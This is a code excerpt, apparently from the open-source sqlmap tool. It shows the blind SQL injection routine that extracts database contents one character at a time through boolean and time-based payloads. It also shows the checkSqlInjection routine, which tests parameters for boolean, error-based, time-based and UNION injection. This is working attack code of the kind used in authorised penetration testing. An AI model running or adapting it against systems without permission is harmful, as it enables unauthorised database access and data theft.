            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(
                    payload.replace(INFERENCE_GREATER_CHAR,
                                    INFERENCE_EQUALS_CHAR),
                    (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload,
                                           timeBasedCompare=timeBasedCompare,
                                           raise404=False)
                incrementCounter(getTechnique())

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            if continuousOrder:
                while len(charTbl) > 1:
                    position = None

                    if charsetType is None:
                        if not firstCheck:
                            try:
                                try:
                                    lastChar = [
                                        _ for _ in threadData.shared.value
                                        if _ is not None
                                    ][-1]
                                except IndexError:
                                    lastChar = None
                                else:
                                    if 'a' <= lastChar <= 'z':
                                        position = charTbl.index(ord('a') -
                                                                 1)  # 96
                                    elif 'A' <= lastChar <= 'Z':
                                        position = charTbl.index(ord('A') -
                                                                 1)  # 64
                                    elif '0' <= lastChar <= '9':
                                        position = charTbl.index(ord('0') -
                                                                 1)  # 47
                            except ValueError:
                                pass
                            finally:
                                firstCheck = True

                        elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
                            if charTbl[(len(charTbl) >> 1)] < ord(' '):
                                try:
                                    # favorize last char check if current value inclines toward 0
                                    position = charTbl.index(1)
                                except ValueError:
                                    pass
                                finally:
                                    lastCheck = True

                    if position is None:
                        position = (len(charTbl) >> 1)

                    posValue = charTbl[position]
                    falsePayload = None

                    if "'%s'" % CHAR_INFERENCE_MARK not in payload:
                        forgedPayload = safeStringFormat(
                            payload, (expressionUnescaped, idx, posValue))
                        falsePayload = safeStringFormat(
                            payload,
                            (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                    else:
                        # e.g.: ... > '%c' -> ... > ORD(..)
                        markingValue = "'%s'" % CHAR_INFERENCE_MARK
                        unescapedCharValue = unescaper.escape(
                            "'%s'" % decodeIntToUnicode(posValue))
                        forgedPayload = safeStringFormat(
                            payload, (expressionUnescaped, idx)).replace(
                                markingValue, unescapedCharValue)
                        falsePayload = safeStringFormat(
                            payload, (expressionUnescaped, idx)).replace(
                                markingValue, NULL)

                    if timeBasedCompare:
                        if kb.responseTimeMode:
                            kb.responseTimePayload = falsePayload
                        else:
                            kb.responseTimePayload = None

                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(getTechnique())

                    if not timeBasedCompare and getTechniqueData() is not None:
                        unexpectedCode |= threadData.lastCode not in (
                            getTechniqueData().falseCode,
                            getTechniqueData().trueCode)
                        if unexpectedCode:
                            warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
                            singleTimeWarnMessage(warnMsg)

                    if result:
                        minValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[position:]
                        else:
                            # xrange() - extended virtual charset used for memory/space optimization
                            charTbl = xrange(charTbl[position],
                                             charTbl[-1] + 1)
                    else:
                        maxValue = posValue

                        if not isinstance(charTbl, xrange):
                            charTbl = charTbl[:position]
                        else:
                            charTbl = xrange(charTbl[0], charTbl[position])

                    if len(charTbl) == 1:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(
                                    maxChar + 1,
                                    (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (
                                    retVal == ord('\n')
                                    and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode
                                    ) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    if (retried or 0) < MAX_REVALIDATION_STEPS:
                                        errMsg = "invalid character detected. retrying.."
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = "increasing time delay to %d second%s" % (
                                                    conf.timeSec, 's' if
                                                    conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = "turning off time auto-adjustment mechanism"
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl,
                                                       continuousOrder, expand,
                                                       shiftTable,
                                                       (retried or 0) + 1)
                                    else:
                                        errMsg = "unable to properly validate last character value ('%s').." % decodeIntToUnicode(
                                            retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        threadData.validationRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = "turning back on time auto-adjustment mechanism"
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
            else:
                if "'%s'" % CHAR_INFERENCE_MARK in payload and conf.charset:
                    errMsg = "option '--charset' is not supported on '%s'" % Backend.getIdentifiedDbms(
                    )
                    raise SqlmapUnsupportedFeatureException(errMsg)

                candidates = list(originalTbl)
                bit = 0
                while len(candidates) > 1:
                    bits = {}
                    for candidate in candidates:
                        bit = 0
                        while candidate:
                            bits.setdefault(bit, 0)
                            bits[bit] += 1 if candidate & 1 else -1
                            candidate >>= 1
                            bit += 1

                    choice = sorted(bits.items(),
                                    key=lambda _: abs(_[1]))[0][0]
                    mask = 1 << choice

                    forgedPayload = safeStringFormat(
                        payload.replace(
                            INFERENCE_GREATER_CHAR,
                            "&%d%s" % (mask, INFERENCE_GREATER_CHAR)),
                        (expressionUnescaped, idx, 0))
                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(getTechnique())

                    if result:
                        candidates = [_ for _ in candidates if _ & mask > 0]
                    else:
                        candidates = [_ for _ in candidates if _ & mask == 0]

                    bit += 1

                if candidates:
                    forgedPayload = safeStringFormat(
                        payload.replace(INFERENCE_GREATER_CHAR,
                                        INFERENCE_EQUALS_CHAR),
                        (expressionUnescaped, idx, candidates[0]))
                    result = Request.queryPage(
                        forgedPayload,
                        timeBasedCompare=timeBasedCompare,
                        raise404=False)
                    incrementCounter(getTechnique())

                    if result:
                        return decodeIntToUnicode(candidates[0])

        # Go multi-threading (--threads > 1)
        if numThreads > 1 and isinstance(length, int) and length > 1:
            threadData.shared.value = [None] * length
            threadData.shared.index = [
                firstChar
            ]  # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:

                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        with kb.locks.index:
                            if threadData.shared.index[0] - firstChar >= length:
                                return

                            threadData.shared.index[0] += 1
                            currentCharIndex = threadData.shared.index[0]

                        if kb.threadContinue:
                            val = getChar(
                                currentCharIndex, asciiTbl,
                                not (charsetType is None and conf.charset))
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4629
                        if not isListLike(threadData.shared.value):
                            break

                        with kb.locks.value:
                            threadData.shared.value[currentCharIndex - 1 -
                                                    firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                progress.progress(threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex,
                                                endCharIndex + 1):
                                    output += '_' if currentValue[
                                        i] is None else filterControlChars(
                                            currentValue[i] if len(
                                                currentValue[i]) == 1 else ' ',
                                            replacement=' ')

                                for i in xrange(length):
                                    count += 1 if currentValue[
                                        i] is not None else 0

                                if startCharIndex > 0:
                                    output = ".." + output[2:]

                                if (endCharIndex - startCharIndex
                                        == conf.progressWidth) and (
                                            endCharIndex < length - 1):
                                    output = output[:-2] + ".."

                                if conf.verbose in (1, 2) and not any(
                                    (showEta, conf.api, kb.bruteMode)):
                                    _ = count - firstChar
                                    output += '_' * (
                                        min(length, conf.progressWidth) -
                                        len(output))
                                    status = ' %d/%d (%d%%)' % (
                                        _, length, int(100.0 * _ / length))
                                    output += status if _ != length else " " * len(
                                        status)

                                    dataToStdout(
                                        "\r[%s] [INFO] retrieved: %s" %
                                        (time.strftime("%X"), output))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [_ for _ in partialValue]
                value.extend(_ for _ in threadData.shared.value)

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target URL was lost
            if None in value:
                partialValue = "".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = "\r[%s] [INFO] partially retrieved: %s" % (
                        time.strftime("%X"), filterControlChars(partialValue))
            else:
                finalValue = "".join(value)
                infoMsg = "\r[%s] [INFO] retrieved: %s" % (
                    time.strftime("%X"), filterControlChars(finalValue))

            if conf.verbose in (1, 2) and infoMsg and not any(
                (showEta, conf.api, kb.bruteMode)):
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar
            threadData.shared.value = ""

            while True:
                index += 1

                # Common prediction feature (a.k.a. "good samaritan")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(
                        partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(
                        partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.escape(
                            "'%s'" % commonValue
                        ) if "'" not in commonValue else unescaper.escape(
                            "%s" % commonValue, quote=False)

                        query = getTechniqueData().vector
                        query = agent.prefixQuery(
                            query.replace(
                                INFERENCE_MARKER, "(%s)%s%s" %
                                (expressionUnescaped, INFERENCE_EQUALS_CHAR,
                                 testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(
                            agent.payload(newValue=query),
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)
                        incrementCounter(getTechnique())

                        # Did we have luck?
                        if result:
                            if showEta:
                                progress.progress(len(commonValue))
                            elif conf.verbose in (1, 2) or conf.api:
                                dataToStdout(
                                    filterControlChars(commonValue[index -
                                                                   1:]))

                            finalValue = commonValue
                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms(
                        )].substring.query % (expressionUnescaped, 1,
                                              len(commonPattern))
                        testValue = unescaper.escape(
                            "'%s'" % commonPattern
                        ) if "'" not in commonPattern else unescaper.escape(
                            "%s" % commonPattern, quote=False)

                        query = getTechniqueData().vector
                        query = agent.prefixQuery(
                            query.replace(INFERENCE_MARKER,
                                          "(%s)=%s" % (subquery, testValue)))
                        query = agent.suffixQuery(query)

                        result = Request.queryPage(
                            agent.payload(newValue=query),
                            timeBasedCompare=timeBasedCompare,
                            raise404=False)
                        incrementCounter(getTechnique())

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset,
                                      otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl,
                                  not (charsetType is None and conf.charset))

                if val is None:
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                threadData.shared.value = partialValue = partialValue + val

                if showEta:
                    progress.progress(index)
                elif (conf.verbose in (1, 2) and not kb.bruteMode) or conf.api:
                    dataToStdout(filterControlChars(val))

                # Note: some DBMSes (e.g. Firebird, DB2, etc.) have issues with trailing spaces
                if Backend.getIdentifiedDbms() in (
                        DBMS.FIREBIRD, DBMS.DB2, DBMS.MAXDB, DBMS.DERBY,
                        DBMS.FRONTBASE
                ) and len(
                        partialValue) > INFERENCE_BLANK_BREAK and partialValue[
                            -INFERENCE_BLANK_BREAK:].isspace():
                    finalValue = partialValue[:-INFERENCE_BLANK_BREAK]
                    break
                elif charsetType and partialValue[-1:].isspace():
                    finalValue = partialValue[:-1]
                    break

                if (lastChar > 0 and index >= lastChar):
                    finalValue = "" if length == 0 else partialValue
                    finalValue = finalValue.rstrip(
                    ) if len(finalValue) > 1 else finalValue
                    partialValue = None
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        retrievedLength = len(finalValue or "")

        if finalValue is not None:
            finalValue = decodeDbmsHexValue(
                finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(
                expression,
                "%s%s" % (PARTIAL_VALUE_MARKER if not conf.hexConvert else
                          PARTIAL_HEX_VALUE_MARKER, partialValue))

    if conf.hexConvert and not any((abortedFlag, conf.api, kb.bruteMode)):
        infoMsg = "\r[%s] [INFO] retrieved: %s  %s\n" % (time.strftime(
            "%X"), filterControlChars(finalValue), " " * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) and not any(
            (showEta, conf.api, kb.bruteMode)):
            dataToStdout("\n")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = "retrieved: %s" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(
            "something unexpected happened inside the threads")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue

    return getCounter(
        getTechnique()), safecharencode(_) if kb.safeCharEncode else _
Ejemplo n.º 43
0
def checkSqlInjection(place, parameter, value):
    # Store here the details about boundaries and payload used to
    # successfully inject
    injection = InjectionDict()

    # Localized thread data needed for some methods
    threadData = getCurrentThreadData()

    # Set the flag for SQL injection test mode
    kb.testMode = True

    for test in getSortedInjectionTests():
        try:
            if kb.endDetection:
                break

            title = test.title
            stype = test.stype
            clause = test.clause
            unionExtended = False

            if stype == PAYLOAD.TECHNIQUE.UNION:
                configUnion(test.request.char)

                if "[CHAR]" in title:
                    if conf.uChar is None:
                        continue
                    else:
                        title = title.replace("[CHAR]", conf.uChar)

                elif "[RANDNUM]" in title or "(NULL)" in title:
                    title = title.replace("[RANDNUM]", "random number")

                if test.request.columns == "[COLSTART]-[COLSTOP]":
                    if conf.uCols is None:
                        continue
                    else:
                        title = title.replace("[COLSTART]",
                                              str(conf.uColsStart))
                        title = title.replace("[COLSTOP]", str(conf.uColsStop))

                elif conf.uCols is not None:
                    debugMsg = "skipping test '%s' because the user " % title
                    debugMsg += "provided custom column range %s" % conf.uCols
                    logger.debug(debugMsg)
                    continue

                match = re.search(r"(\d+)-(\d+)", test.request.columns)
                if injection.data and match:
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
                            unionExtended = True
                            test.request.columns = re.sub(
                                r"\b%d\b" % _, str(2 * _),
                                test.request.columns)
                            title = re.sub(r"\b%d\b" % _, str(2 * _), title)
                            test.title = re.sub(r"\b%d\b" % _, str(2 * _),
                                                test.title)

            # Skip test if the user's wants to test only for a specific
            # technique
            if conf.tech and isinstance(conf.tech,
                                        list) and stype not in conf.tech:
                debugMsg = "skipping test '%s' because the user " % title
                debugMsg += "specified to test only for "
                debugMsg += "%s techniques" % " & ".join(
                    map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech))
                logger.debug(debugMsg)
                continue

            # Skip test if it is the same SQL injection type already
            # identified by another test
            if injection.data and stype in injection.data:
                debugMsg = "skipping test '%s' because " % title
                debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[
                    stype]
                debugMsg += "already been identified"
                logger.debug(debugMsg)
                continue

            # Skip tests if title is not included by the given filter
            if conf.testFilter:
                if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector,\
                test.details.dbms if "details" in test and "dbms" in test.details else "")):
                    debugMsg = "skipping test '%s' because " % title
                    debugMsg += "its name/vector/dbms is not included by the given filter"
                    logger.debug(debugMsg)
                    continue
            else:
                # Skip test if the risk is higher than the provided (or default)
                # value
                # Parse test's <risk>
                if test.risk > conf.risk:
                    debugMsg = "skipping test '%s' because the risk (%d) " % (
                        title, test.risk)
                    debugMsg += "is higher than the provided (%d)" % conf.risk
                    logger.debug(debugMsg)
                    continue

                # Skip test if the level is higher than the provided (or default)
                # value
                # Parse test's <level>
                if test.level > conf.level:
                    debugMsg = "skipping test '%s' because the level (%d) " % (
                        title, test.level)
                    debugMsg += "is higher than the provided (%d)" % conf.level
                    logger.debug(debugMsg)
                    continue

            # Skip DBMS-specific test if it does not match either the
            # previously identified or the user's provided DBMS (either
            # from program switch or from parsed error message(s))
            if "details" in test and "dbms" in test.details:
                dbms = test.details.dbms
            else:
                dbms = None

            if dbms is not None:
                if injection.dbms is not None and not intersect(
                        injection.dbms, dbms):
                    debugMsg = "skipping test '%s' because " % title
                    debugMsg += "the back-end DBMS identified is "
                    debugMsg += "%s" % injection.dbms
                    logger.debug(debugMsg)
                    continue

                if conf.dbms is not None and not intersect(
                        conf.dbms.lower(),
                    [value.lower() for value in arrayizeValue(dbms)]):
                    debugMsg = "skipping test '%s' because " % title
                    debugMsg += "the provided DBMS is %s" % conf.dbms
                    logger.debug(debugMsg)
                    continue

                if conf.dbms is None and len(
                        Backend.getErrorParsedDBMSes()) > 0 and not intersect(
                            dbms, Backend.getErrorParsedDBMSes()
                        ) and kb.skipOthersDbms is None:
                    msg = "parsed error message(s) showed that the "
                    msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes(
                    )
                    msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"

                    if readInput(msg, default="Y") in ("y", "Y"):
                        kb.skipOthersDbms = Backend.getErrorParsedDBMSes()
                    else:
                        kb.skipOthersDbms = []

                if kb.skipOthersDbms and not intersect(dbms,
                                                       kb.skipOthersDbms):
                    debugMsg = "skipping test '%s' because " % title
                    debugMsg += "the parsed error message(s) showed "
                    debugMsg += "that the back-end DBMS could be "
                    debugMsg += "%s" % Format.getErrorParsedDBMSes()
                    logger.debug(debugMsg)
                    continue

            # Skip test if it does not match the same SQL injection clause
            # already identified by another test
            clauseMatch = False

            for clauseTest in clause:
                if injection.clause is not None and clauseTest in injection.clause:
                    clauseMatch = True
                    break

            if clause != [0] and injection.clause and injection.clause != [
                    0
            ] and not clauseMatch:
                debugMsg = "skipping test '%s' because the clauses " % title
                debugMsg += "differs from the clause already identified"
                logger.debug(debugMsg)
                continue

            # Skip test if the user provided custom character
            if conf.uChar is not None and ("random number" in title
                                           or "(NULL)" in title):
                debugMsg = "skipping test '%s' because the user " % title
                debugMsg += "provided a specific character, %s" % conf.uChar
                logger.debug(debugMsg)
                continue

            infoMsg = "testing '%s'" % title
            logger.info(infoMsg)

            # Force back-end DBMS according to the current
            # test value for proper payload unescaping
            Backend.forceDbms(dbms[0] if isinstance(dbms, list) else dbms)

            # Parse test's <request>
            comment = agent.getComment(
                test.request) if len(conf.boundaries) > 1 else None
            fstPayload = agent.cleanupPayload(test.request.payload,
                                              origValue=value)

            # Favoring non-string specific boundaries in case of digit-like parameter values
            if value.isdigit():
                boundaries = sorted(copy.deepcopy(conf.boundaries),
                                    key=lambda x: any(_ in
                                                      (x.prefix or "") or _ in
                                                      (x.suffix or "")
                                                      for _ in ('"', '\'')))
            else:
                boundaries = conf.boundaries

            for boundary in boundaries:
                injectable = False

                # Skip boundary if the level is higher than the provided (or
                # default) value
                # Parse boundary's <level>
                if boundary.level > conf.level:
                    continue

                # Skip boundary if it does not match against test's <clause>
                # Parse test's <clause> and boundary's <clause>
                clauseMatch = False

                for clauseTest in test.clause:
                    if clauseTest in boundary.clause:
                        clauseMatch = True
                        break

                if test.clause != [0] and boundary.clause != [
                        0
                ] and not clauseMatch:
                    continue

                # Skip boundary if it does not match against test's <where>
                # Parse test's <where> and boundary's <where>
                whereMatch = False

                for where in test.where:
                    if where in boundary.where:
                        whereMatch = True
                        break

                if not whereMatch:
                    continue

                # Parse boundary's <prefix>, <suffix> and <ptype>
                prefix = boundary.prefix if boundary.prefix else ""
                suffix = boundary.suffix if boundary.suffix else ""

                # Options --prefix/--suffix have a higher priority (if set by user)
                prefix = conf.prefix if conf.prefix is not None else prefix
                suffix = conf.suffix if conf.suffix is not None else suffix
                comment = None if conf.suffix is not None else comment

                ptype = boundary.ptype

                # If the previous injections succeeded, we know which prefix,
                # suffix and parameter type to use for further tests, no
                # need to cycle through the boundaries for the following tests
                condBound = (injection.prefix is not None
                             and injection.suffix is not None)
                condBound &= (injection.prefix != prefix
                              or injection.suffix != suffix)
                condType = injection.ptype is not None and injection.ptype != ptype

                if condBound or condType:
                    continue

                # For each test's <where>
                for where in test.where:
                    templatePayload = None
                    vector = None

                    # Threat the parameter original value according to the
                    # test's <where> tag
                    if where == PAYLOAD.WHERE.ORIGINAL:
                        origValue = value
                    elif where == PAYLOAD.WHERE.NEGATIVE:
                        # Use different page template than the original
                        # one as we are changing parameters value, which
                        # will likely result in a different content
                        if conf.invalidLogical:
                            origValue = "%s AND %s=%s" % (
                                origValue, randomInt(), randomInt())
                        elif conf.invalidBignum:
                            origValue = "%d.%d" % (randomInt(6), randomInt(1))
                        else:
                            origValue = "-%s" % randomInt()
                        templatePayload = agent.payload(place,
                                                        parameter,
                                                        newValue=origValue,
                                                        where=where)
                    elif where == PAYLOAD.WHERE.REPLACE:
                        origValue = ""

                    kb.pageTemplate, kb.errorIsNone = getPageTemplate(
                        templatePayload, place)

                    # Forge request payload by prepending with boundary's
                    # prefix and appending the boundary's suffix to the
                    # test's ' <payload><comment> ' string
                    boundPayload = agent.prefixQuery(fstPayload, prefix, where,
                                                     clause)
                    boundPayload = agent.suffixQuery(boundPayload, comment,
                                                     suffix, where)
                    reqPayload = agent.payload(place,
                                               parameter,
                                               newValue=boundPayload,
                                               where=where)

                    # Perform the test's request and check whether or not the
                    # payload was successful
                    # Parse test's <response>
                    for method, check in test.response.items():
                        check = agent.cleanupPayload(check, origValue=value)

                        # In case of boolean-based blind SQL injection
                        if method == PAYLOAD.METHOD.COMPARISON:
                            # Generate payload used for comparison
                            def genCmpPayload():
                                sndPayload = agent.cleanupPayload(
                                    test.response.comparison, origValue=value)

                                # Forge response payload by prepending with
                                # boundary's prefix and appending the boundary's
                                # suffix to the test's ' <payload><comment> '
                                # string
                                boundPayload = agent.prefixQuery(
                                    sndPayload, prefix, where, clause)
                                boundPayload = agent.suffixQuery(
                                    boundPayload, comment, suffix, where)
                                cmpPayload = agent.payload(
                                    place,
                                    parameter,
                                    newValue=boundPayload,
                                    where=where)

                                return cmpPayload

                            # Useful to set kb.matchRatio at first based on
                            # the False response content
                            kb.matchRatio = None
                            kb.negativeLogic = (
                                where == PAYLOAD.WHERE.NEGATIVE)
                            Request.queryPage(genCmpPayload(),
                                              place,
                                              raise404=False)
                            falsePage = threadData.lastComparisonPage or ""

                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload,
                                                           place,
                                                           raise404=False)
                            truePage = threadData.lastComparisonPage or ""

                            if trueResult:
                                falseResult = Request.queryPage(
                                    genCmpPayload(), place, raise404=False)

                                # Perform the test's False request
                                if not falseResult:
                                    infoMsg = "%s parameter '%s' is '%s' injectable " % (
                                        place, parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                            if not injectable and not any(
                                (conf.string, conf.notString,
                                 conf.regexp)) and kb.pageStable:
                                trueSet = set(extractTextTagContent(truePage))
                                falseSet = set(
                                    extractTextTagContent(falsePage))
                                candidates = filter(
                                    None,
                                    (_.strip()
                                     if _.strip() in (kb.pageTemplate or "")
                                     and _.strip() not in falsePage else None
                                     for _ in (trueSet - falseSet)))
                                if candidates:
                                    conf.string = random.sample(candidates,
                                                                1)[0]
                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (
                                        place, parameter, title,
                                        repr(conf.string).lstrip('u').strip(
                                            "'"))
                                    logger.info(infoMsg)

                                    injectable = True

                        # In case of error-based SQL injection
                        elif method == PAYLOAD.METHOD.GREP:
                            # Perform the test's request and grep the response
                            # body for the test's <grep> regular expression
                            try:
                                page, headers = Request.queryPage(
                                    reqPayload,
                                    place,
                                    content=True,
                                    raise404=False)
                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
                                        or extractRegexResult(check, listToStrValue(headers.headers \
                                        if headers else None), re.DOTALL | re.IGNORECASE) \
                                        or extractRegexResult(check, threadData.lastRedirectMsg[1] \
                                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                                if output:
                                    result = output == "1"

                                    if result:
                                        infoMsg = "%s parameter '%s' is '%s' injectable " % (
                                            place, parameter, title)
                                        logger.info(infoMsg)

                                        injectable = True

                            except SqlmapConnectionException, msg:
                                debugMsg = "problem occured most likely because the "
                                debugMsg += "server hasn't recovered as expected from the "
                                debugMsg += "error-based payload used ('%s')" % msg
                                logger.debug(debugMsg)

                        # In case of time-based blind or stacked queries
                        # SQL injections
                        elif method == PAYLOAD.METHOD.TIME:
                            # Perform the test's request
                            trueResult = Request.queryPage(
                                reqPayload,
                                place,
                                timeBasedCompare=True,
                                raise404=False)

                            if trueResult:
                                # Confirm test's results
                                trueResult = Request.queryPage(
                                    reqPayload,
                                    place,
                                    timeBasedCompare=True,
                                    raise404=False)

                                if trueResult:
                                    infoMsg = "%s parameter '%s' is '%s' injectable " % (
                                        place, parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                        # In case of UNION query SQL injection
                        elif method == PAYLOAD.METHOD.UNION:
                            # Test for UNION injection and set the sample
                            # payload as well as the vector.
                            # NOTE: vector is set to a tuple with 6 elements,
                            # used afterwards by Agent.forgeUnionQuery()
                            # method to forge the UNION query payload

                            configUnion(test.request.char,
                                        test.request.columns)

                            if not Backend.getIdentifiedDbms():
                                warnMsg = "using unescaped version of the test "
                                warnMsg += "because of zero knowledge of the "
                                warnMsg += "back-end DBMS. You can try to "
                                warnMsg += "explicitly set it using option '--dbms'"
                                singleTimeWarnMessage(warnMsg)

                            if unionExtended:
                                infoMsg = "automatically extending ranges "
                                infoMsg += "for UNION query injection technique tests as "
                                infoMsg += "there is at least one other potential "
                                infoMsg += "injection technique found"
                                singleTimeLogMessage(infoMsg)

                            # Test for UNION query SQL injection
                            reqPayload, vector = unionTest(
                                comment, place, parameter, value, prefix,
                                suffix)

                            if isinstance(reqPayload, basestring):
                                infoMsg = "%s parameter '%s' is '%s' injectable" % (
                                    place, parameter, title)
                                logger.info(infoMsg)

                                injectable = True

                                # Overwrite 'where' because it can be set
                                # by unionTest() directly
                                where = vector[6]

                        kb.previousMethod = method

                    # If the injection test was successful feed the injection
                    # object with the test's details
                    if injectable is True:
                        # Feed with the boundaries details only the first time a
                        # test has been successful
                        if injection.place is None or injection.parameter is None:
                            if place in (PLACE.USER_AGENT, PLACE.REFERER,
                                         PLACE.HOST):
                                injection.parameter = place
                            else:
                                injection.parameter = parameter

                            injection.place = place
                            injection.ptype = ptype
                            injection.prefix = prefix
                            injection.suffix = suffix
                            injection.clause = clause

                        # Feed with test details every time a test is successful
                        if hasattr(test, "details"):
                            for dKey, dValue in test.details.items():
                                if dKey == "dbms":
                                    injection.dbms = dValue
                                    if not isinstance(dValue, list):
                                        Backend.setDbms(dValue)
                                    else:
                                        Backend.forceDbms(dValue[0], True)
                                elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
                                    injection.dbms_version = Backend.setVersion(
                                        dValue)
                                elif dKey == "os" and injection.os is None:
                                    injection.os = Backend.setOs(dValue)

                        if vector is None and "vector" in test and test.vector is not None:
                            vector = test.vector

                        injection.data[stype] = AttribDict()
                        injection.data[stype].title = title
                        injection.data[
                            stype].payload = agent.removePayloadDelimiters(
                                reqPayload)
                        injection.data[stype].where = where
                        injection.data[stype].vector = vector
                        injection.data[stype].comment = comment
                        injection.data[stype].templatePayload = templatePayload
                        injection.data[stype].matchRatio = kb.matchRatio

                        injection.conf.textOnly = conf.textOnly
                        injection.conf.titles = conf.titles
                        injection.conf.string = conf.string
                        injection.conf.notString = conf.notString
                        injection.conf.regexp = conf.regexp
                        injection.conf.optimize = conf.optimize

                        if not kb.alerted:
                            if conf.beep:
                                beep()

                            if conf.alert:
                                infoMsg = "executing alerting shell command(s) ('%s')" % conf.alert
                                logger.info(infoMsg)

                                process = execute(conf.alert, shell=True)
                                process.wait()

                            kb.alerted = True

                        # There is no need to perform this test for other
                        # <where> tags
                        break

                if injectable is True:
                    kb.vulnHosts.add(conf.hostname)
                    break